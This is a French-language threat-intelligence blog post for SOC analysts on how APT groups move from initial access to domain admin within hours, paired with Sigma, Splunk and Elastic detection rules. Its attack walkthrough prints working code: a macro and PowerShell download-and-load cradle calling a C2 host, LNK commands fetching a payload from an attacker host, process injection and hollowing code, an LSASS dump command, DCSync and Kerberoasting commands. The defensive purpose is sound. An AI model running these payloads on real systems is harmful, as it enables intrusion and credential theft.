Skip to main content

Comment les Groupes APT Pivotent de l'Accès Initial à la Domination du Domaine en Moins de 4 Heures

· 16 min read
Inference Defense
Renseignement sur les Menaces & Ingénierie de Détection

Vous fixez une alerte EDR à 23h47. Un document Word a lancé PowerShell. Au moment où votre analyste prend en charge le ticket à 00h09, l'attaquant a déjà une balise qui appelle son C2, a exécuté BloodHound sur tout votre AD, extrait les identifiants de LSASS, et s'authentifie sur votre contrôleur de domaine avec un hash d'Administrateur de Domaine. Le "temps de présence moyen de 200 jours" que vous avez cité lors du comité de direction du trimestre dernier va bientôt devenir une note de bas de page. Cette intrusion se terminera en quatre heures.

Catégorie : Renseignement sur les Menaces · Temps de lecture : 25 min · Audience : Analystes SOC, Ingénieurs de Détection, Intervenants sur Incidents


Section 1 L'Horloge des 4 Heures : Pourquoi les Statistiques de Dwell Time Détruisent Votre Posture de Sécurité

Le chiffre de "197 jours de dwell time moyen" est cité dans les présentations aux conseils d'administration et les justifications budgétaires depuis une décennie. Il n'est pas faux il est simplement sans pertinence pour la manière dont les intrusions ciblées modernes se déroulent.

Cette moyenne est tirée vers le haut par deux scénarios extrêmes : des acteurs peu sophistiqués qui établissent une persistance et restent inactifs, et des campagnes d'espionnage étatiques délibérément conçues pour une collecte silencieuse à long terme. Aucun des deux ne décrit votre opérateur de ransomware, votre groupe eCrime motivé financièrement, ou un acteur menant un vol ciblé de propriété intellectuelle.

La métrique qui compte pour les défenseurs est le temps d'évasion (breakout time) temps écoulé entre l'obtention de l'accès initial sur le premier hôte et le début du mouvement latéral vers un second hôte. Les rapports sectoriels de 2024 indiquent une médiane de 62 minutes. Le cas le plus rapide enregistré était inférieur à 3 minutes.

Cette seule statistique devrait remodeler votre approche de chaque SLA dans votre SOC.

À Quoi Ressemble Réellement la Chronologie

La chronologie suivante est une reconstitution composite à partir de multiples rapports DFIR publics, combinant des éléments d'intrusions documentées par des groupes incluant SCATTERED SPIDER, des affiliés de Cl0p lors de la campagne MOVEit, et des opérateurs ALPHV/BlackCat.

Pourquoi Vos SLAs Actuels Ne Peuvent Pas Suivre

Si votre SLA d'acquittement P1 est de 15 minutes et votre SLA de confinement est de 4 heures, vous êtes structurellement incapable de prévenir le mouvement latéral contre un adversaire opérant sur cette chronologie. Le calcul ne fonctionne pas, et affiner les détections sans traiter la vélocité de réponse revient à réarranger les chaises longues sur le Titanic.

Ce n'est pas un argument pour la panique c'est un argument pour des déclencheurs de confinement automatisés sur des événements spécifiques à haute confiance, plutôt que de dépendre d'un humain dans la boucle pour chaque étape de la chaîne de réponse.


Section 2 Anatomie Technique d'un Pivot Rapide

La rapidité vient d'outils affinés sur des années d'utilisation en red team et par des opérateurs criminels.

Étape 1 : Établissement de la Tête de Pont

Accès initial par macro (toujours courant dans les attaques ciblées) :

' Intégré dans .doc / .xlsm livré par phishing
Sub AutoOpen()
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
' Télécharger et exécuter en mémoire via PowerShell
wsh.Run "powershell -nop -w hidden -enc " & Base64EncodedPayload, 0, False
End Sub

Le payload décodé ressemble typiquement à :

# Décodé : téléchargement et chargement réflexif d'une balise
$data = (New-Object System.Net.WebClient).DownloadData('https://cdn-update[.]com/update.bin')
$asm = [System.Reflection.Assembly]::Load($data)
$asm.EntryPoint.Invoke($null, $null)

Rien ne touche le disque. La balise est chargée directement dans l'espace mémoire du processus PowerShell.

Livraison ISO/LNK (contourne le Mark-of-the-Web) :

# Champ cible du LNK :
C:\Windows\System32\cmd.exe /c start \\attacker-host\share\payload.dll
# OU via GLOBALROOT UNC :
C:\Windows\System32\cmd.exe /c start \\?\GLOBALROOT\Device\Mup\attacker-host\share\payload.dll
# OU plus simplement :
C:\Windows\System32\rundll32.exe payload.dll,EntryPoint

Les fichiers ISO montés par double-clic sous Windows 10/11 n'héritent pas du MOTW du conteneur SmartScreen et le Gestionnaire de pièces jointes ne signalent pas le contenu.

Étape 2 : Injection de Processus Sortir du Processus Initial

Rester dans WINWORD.EXE ou powershell.exe est bruyant. La première tâche après l'exécution du payload est la migration vers un processus moins suspect.

Injection CreateRemoteThread classique (bruyante) :

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID mem = VirtualAllocEx(hProc, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, shellcodeLen, NULL);
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);

Génère l'Event ID Sysmon 8 (CreateRemoteThread) détectable si vous le collectez.

Process hollowing (plus évasif) :

STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Démapper l'image originale, écrire le shellcode à la même adresse de base
NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
VirtualAllocEx(pi.hProcess, (PVOID)imageBase, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)imageBase, shellcode, shellcodeLen, NULL);
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
// Le processus résultant apparaît comme svchost.exe dans le Gestionnaire des tâches

Syscalls directs (contourne les hooks user-mode) :

; Stub syscall direct pour NtAllocateVirtualMemory
NtAllocateVirtualMemory:
mov r10, rcx
mov eax, 18h ; numéro de syscall varie selon la version Windows
syscall
ret

Des outils comme SysWhispers2 et SysWhispers3 automatisent la génération de ces stubs. Résultat : injection sans aucun hook user-mode touché, aucune interception EDR possible.

Étape 3 : Communication C2 À Quoi Ressemble Réellement la Balise

Un profil Cobalt Strike malleable qui imite le trafic Amazon :

http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "www.amazon.com";
metadata {
base64url;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
}

Le bloc metadata encode les données de check-in de la balise dans un en-tête Cookie réaliste. La détection au niveau réseau basée sur l'inspection des URI ou des en-têtes ne capturera pas ceci sans analyse comportementale.

Étape 4 : Reconnaissance BloodHound à Pleine Vitesse

# Console Cobalt Strike :
execute-assembly /opt/tools/SharpHound.exe -c All --zipfilename loot.zip

# Ce que cela génère sur le réseau en 4 minutes :
# Requêtes LDAP vers le DC (port 389/636) :
- objectClass=computer, user, group, organizationalUnit
- nTSecurityDescriptor (collecte ACL la plus bruyante)
- servicePrincipalName (comptes Kerberoastables)
# Volume total : 200-2000 requêtes en 4 minutes
# Pour 1000 utilisateurs : 3-8x le taux LDAP normal depuis les postes

Lecture de la sortie BloodHound ce que voit l'attaquant :

Étape 5 : Extraction d'Identifiants

Méthode 1 : LSASS via comsvcs.dll (aucun outil externe)

tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 612 C:\Windows\Temp\lsass.dmp full
# Analyser hors ligne :
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Utilise une DLL Microsoft signée. Aucun binaire malveillant écrit sur le disque.

Méthode 2 : DCSync (nécessite Replicating Directory Changes All)

lsadump::dcsync /domain:corp.local /user:krbtgt
# Sortie :
Credentials:
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

Avec le hash krbtgt, l'attaquant peut forger des tickets Kerberos pour n'importe quel compte du domaine un Golden Ticket. Le domaine est entièrement compromis. Réinitialiser krbtgt une seule fois est insuffisant (doit être réinitialisé deux fois, à 10 heures d'intervalle, pour invalider tous les tickets forgés).

Méthode 3 : Kerberoasting (hors ligne, pas d'accès LSASS nécessaire)

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Contre des mots de passe faibles : crackés en secondes à minutes

La défense est triviale : les mots de passe des comptes de service doivent être des chaînes aléatoires de 30+ caractères, gérées via des Comptes de Service Gérés de Groupe (gMSA).

Étape 6 : Mouvement Latéral DCOM en Détail

Objet MMC20.Application :

$com = [System.Activator]::CreateInstance(
[System.Type]::GetTypeFromProgID("MMC20.Application", "VICTIME-HOST")
)
$com.Document.ActiveView.ExecuteShellCommand(
"cmd.exe", $null,
"/c powershell -nop -w hidden -enc [BASE64_BALISE]",
"7"
)

Ce que cela génère dans les journaux Windows sur la cible :

Event ID: 4688 (Création de Processus)
Processus Créateur : C:\Windows\explorer.exe
Nouveau Processus : C:\Windows\System32\cmd.exe

Aucun Event ID 7045 (service installé), aucun 5140/5145 (accès partage), aucun 4648 (ouverture de session explicite). Les deux ID d'événement sur lesquels la plupart des détections de mouvement latéral sont construites sont absents.


Section 3 Ce Que Capte la Télémétrie et Ce Qu'Elle Rate Silencieusement

Ce Que les EDR Détectent Bien

TechniqueMéthode de DétectionFiabilité
Profil Cobalt Strike par défautScan mémoire des caractéristiques PE de la baliseHaute
Injection CreateRemoteThreadSysmon Event ID 8, source/cible anormaleMoyenne-Haute
OpenProcess direct vers LSASSInstrumentation par callbacks kernelHaute
Binaire Mimikatz sur disqueSignature AVHaute
Abus LOLBin courantsCréation de processus + ligne de commandeMoyenne

Où la Détection Échoue

Usurpation de token couverture de détection quasi nulle :

Quand un attaquant appelle ImpersonateLoggedOnUser ou duplique un token via DuplicateTokenEx + CreateProcessWithTokenW, le processus résultant hérite du token victime. L'Event ID 4688 montre l'utilisateur usurpé comme créateur du processus cela ressemble à un lancement légitime.

Pass-the-hash le signe révélateur est un seul champ que presque personne ne vérifie :

Event ID: 4624 (Ouverture de Session)
Type d'Ouverture de Session : 3 (Réseau)
Package d'Authentification : NTLM
Longueur de Clé : 0 <-- C'EST LE SIGNE RÉVÉLATEUR

La Longueur de Clé de 0 dans une ouverture de session NTLM de Type 3 indique qu'aucune clé de session n'a été négociée caractéristique du pass-the-hash. Ce champ n'est presque jamais inclus dans les règles de corrélation SIEM standard.

DCSync détecté seulement si la politique d'audit est correcte :

Event ID: 4662
Propriétés : DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Sujet : CORP\jsmith <-- doit être un compte machine, pas un utilisateur

Un événement 4662 où le sujet est un compte utilisateur (pas un compte $ machine) demandant des droits de réplication est un vrai positif inconditionnel il n'a aucune explication légitime dans un environnement normal.

Kerberoasting lent et discret aucune anomalie de volume à détecter :

Event ID: 4769 (Opération sur Ticket de Service Kerberos)
Type de Chiffrement : 0x17 <-- RC4-HMAC : c'est le signe révélateur

Le type de chiffrement 0x17 (RC4-HMAC) pour une demande TGS, quand AES est disponible et attendu, est anormal. Si vos comptes de service ne supportent que AES, toute demande RC4 est impossible en fonctionnement normal ce qui en fait une détection à zéro faux positif.


Section 4 Les Trois Points de Contrôle de Détection que Vous Devez Remporter

Point de Contrôle 1 : Détection du Beaconing C2

Analyse de gigue d'intervalle de connexion (Splunk)

index=proxy dest_category=external action=allowed
| eval interval=_time
| sort src_ip dest_ip _time
| streamstats window=2 current=t by src_ip dest_ip
last(_time) as prev_time
| eval gap = _time - prev_time
| where gap > 0
| stats
count as req_count,
avg(gap) as avg_interval,
stdev(gap) as jitter,
min(gap) as min_gap,
max(gap) as max_gap
by src_ip, dest_ip
| where req_count > 20
AND avg_interval > 20
AND avg_interval < 300
AND jitter < 15
AND (max_gap - min_gap) < 60
| table src_ip, dest_ip, req_count, avg_interval, jitter
| sort jitter

Correspondance d'empreinte JARM

python3 jarm.py domaine-suspect[.]com -p 443
# Hashes JARM Cobalt Strike connus (défauts 2023) :
# 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
# 2ad2ad0002ad2ad22c42d42d000000032d2ad2ad2ad2ad2ad0ad23abf4b834

Ancienneté du certificat + fraîcheur de l'infrastructure (Python)

import ssl, socket, datetime

def verifier_indicateurs_c2(domaine):
indicateurs = {}
ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(), server_hostname=domaine) as s:
s.connect((domaine, 443))
cert = s.getpeercert()
not_before = datetime.datetime.strptime(
cert['notBefore'], "%b %d %H:%M:%S %Y %Z")
age_cert = (datetime.datetime.utcnow() - not_before).days
indicateurs['cert_recent'] = age_cert < 30 # Cert récent : suspect
import whois
w = whois.whois(domaine)
if w.creation_date:
reg_date = w.creation_date[0] if isinstance(w.creation_date, list) else w.creation_date
age_domaine = (datetime.datetime.utcnow() - reg_date).days
indicateurs['domaine_recent'] = age_domaine < 90
indicateurs['score_suspicion'] = sum([
indicateurs.get('cert_recent', 0),
indicateurs.get('domaine_recent', 0)
])
return indicateurs

Point de Contrôle 2 : Détection de la Collecte BloodHound

Condition d'alerte : plus de 150 entrées Event ID 1644 depuis une seule source non-DC en 5 minutes.

# Activer sur tous les DCs :
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics" /v "15 Field Engineering" /t REG_DWORD /d 5 /f
{
"query": {
"bool": {
"must": [
{ "term": { "event.code": "1644" }},
{ "range": { "@timestamp": { "gte": "now-5m" }}}
],
"should": [
{ "wildcard": { "winlog.event_data.Filter": "*objectClass=computer*" }},
{ "wildcard": { "winlog.event_data.Filter": "*nTSecurityDescriptor*" }},
{ "wildcard": { "winlog.event_data.Filter": "*servicePrincipalName*" }}
],
"minimum_should_match": 2
}
}
}

Point de Contrôle 3 : Détection de l'Extraction d'Identifiants

Règle Sigma Dump LSASS via comsvcs.dll :

title: Dump LSASS via comsvcs.dll MiniDump
status: production
description: Détecte le dump mémoire LSASS via la DLL comsvcs.dll intégrée
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 4688
NewProcessName|endswith: '\rundll32.exe'
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
condition: selection
falsepositives:
- Aucun cas connu
level: critical
tags:
- attack.credential_access
- attack.t1003.001

Règle Sigma Attaque DCSync :

title: Attaque DCSync - Abus des Droits de Réplication
status: production
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
filter_comptes_machines:
SubjectUserName|endswith: '$'
filter_aad_connect:
SubjectUserName|startswith:
- 'MSOL_'
- 'AADConnect'
condition: selection and not filter_comptes_machines and not filter_aad_connect
level: critical
tags:
- attack.credential_access
- attack.t1003.006

Règle Sigma Kerberoasting RC4 :

title: Kerberoasting - Demande TGS RC4 pour Compte Compatible AES
status: production
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
TicketOptions: '0x40810000'
filter_legitime:
ServiceName: 'krbtgt'
condition: selection and not filter_legitime
level: high
tags:
- attack.credential_access
- attack.t1558.003

Section 5 Construire une Métrique de Chronomètre d'Évasion pour Votre SOC

Mesurer le Temps d'Évasion en Interne

import pandas as pd

def calculer_temps_evasion(evenements_incident):
hote_initial = evenements_incident[
evenements_incident['type_evenement'].isin([
'balise_c2', 'execution_payload', 'macro_malveillante'
])
].sort_values('timestamp').iloc[0]

t_acces = hote_initial['timestamp']
hote_source = hote_initial['hote']

evenements_lateraux = evenements_incident[
(evenements_incident['hote'] != hote_source) &
(evenements_incident['type_evenement'].isin([
'mouvement_lateral', 'pass_the_hash',
'execution_distante', 'nouvelle_balise'
]))
].sort_values('timestamp')

if evenements_lateraux.empty:
return None

t_lateral = evenements_lateraux.iloc[0]['timestamp']
return {
'minutes_evasion': (t_lateral - t_acces).total_seconds() / 60,
'hote_source': hote_source,
'premier_hote_lateral': evenements_lateraux.iloc[0]['hote']
}

Les Trois Métriques SOC Directement Liées

1. MTTD pour les précurseurs de mouvement latéral

Pas le MTTD générique malware spécifiquement : temps depuis le premier timestamp de balise C2 jusqu'à la première prise en charge humaine de l'intrusion active.

2. Écart alerte-vers-confinement

La majorité de l'écart n'est pas du temps d'investigation c'est du temps d'approbation. L'automatisation du confinement sur des événements spécifiques à haute confiance (balise C2 confirmée, dump LSASS confirmé, DCSync confirmé) élimine la latence d'approbation pour les déclencheurs de plus haute sévérité.

3. Taux de couverture des points de contrôle de détection

Point de ContrôleObjectif de Couverture
Point 3 Extraction d'identifiants100%
Point 2 Collecte BloodHound80%
Point 1 Beaconing C260%

Construire le Dossier d'Investissement

État actuel :
Temps d'évasion médian (interne) : 47 minutes
Écart alerte-vers-confinement actuel : 4,5 heures
Écart de couverture : −4 heures 13 minutes
Probabilité de contenir avant accès DA : ~0%

Avec confinement automatisé pour les événements du Point 3 :
Écart alerte-vers-confinement (auto) : 4 minutes
Écart de couverture : +43 minutes
Probabilité de contenir avant accès DA : ~85% (estimé)

Investissement requis :
- Développement playbooks SOAR : 40 heures ingénierie
- Changements processus d'approbation : validation gouvernance
- Exercices de validation trimestriels : 2 jours/trimestre

Résumé : La Liste de Contrôle Opérationnelle

Actions immédiates (cette semaine)

  • Activer la journalisation diagnostique LDAP Event ID 1644 sur tous les DCs
  • Activer Audit Directory Service Access pour les événements de succès sur les DCs
  • Déployer la règle Sigma DCSync zéro faux positif dans les environnements standard
  • Ajouter la détection de création de processus comsvcs.dll MiniDump aucun cas légitime connu

Actions à 30 jours

  • Établir une base de référence des taux LDAP par poste source pour activer la détection BloodHound
  • Exécuter BloodHound contre votre propre environnement énumérer tous les chemins vers DA
  • Identifier tous les comptes Kerberoastables et migrer vers gMSA ou mots de passe aléatoires de 30+ caractères
  • Auditer msDS-SupportedEncryptionTypes désactiver RC4 là où c'est possible

Trimestriel

  • Exécuter SharpHound dans votre environnement et vérifier que votre détection se déclenche
  • Exécuter un dump comsvcs.dll contre un hôte de test et vérifier que votre SIEM alerte
  • Simuler un DCSync depuis un hôte non-DC et vérifier que votre alerte 4662 se déclenche
  • Mesurer votre écart alerte-vers-confinement sur les 5 derniers incidents réels

Le Changement Fondamental

La détection construite autour d'une revue humaine dans la boucle ne peut pas suivre le rythme des temps d'évasion adversaires inférieurs à 60 minutes. L'architecture qui fonctionne :

Détection automatisée haute fidélité → confinement automatisé pour des événements déclencheurs spécifiques → revue humaine de la décision de confinement en parallèle, pas en série.

Les trois événements (DCSync, MiniDump comsvcs, balise C2 confirmée) ont des taux de faux positifs quasi nuls lorsqu'ils sont correctement ajustés. Le confinement automatisé sur ces événements génèrera presque aucun isolement incorrect tout en comprimant drastiquement votre fenêtre d'exposition.


Références et Lectures Complémentaires

  • CrowdStrike 2024 Global Threat Report statistiques de temps d'évasion, méthodologie eCrime
  • DFIR Report (dfirreport.com) chronologies d'intrusions complètes avec télémétrie brute et IOCs
  • MITRE ATT&CK T1021.003 (mouvement latéral DCOM) procédures adversaires documentées
  • Documentation BloodHound Harmj0y chemins d'abus ACL et méthodologie d'énumération
  • SysWhispers2/3 GitHub référence d'implémentation des syscalls directs
  • Elastic Security Labs méthodologie de détection d'infrastructure basée sur JARM
  • Microsoft MSDN documentation des champs Event ID 4662, 4769, 1644
  • Impacket GitHub implémentation de référence PTH, DCSync, DCOM

Toutes les commandes et le code dans cet article décrivent des techniques d'attaquants documentées dans des rapports DFIR publics et des recherches académiques. Ils sont présentés uniquement à des fins de détection défensive. L'exécution de ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale.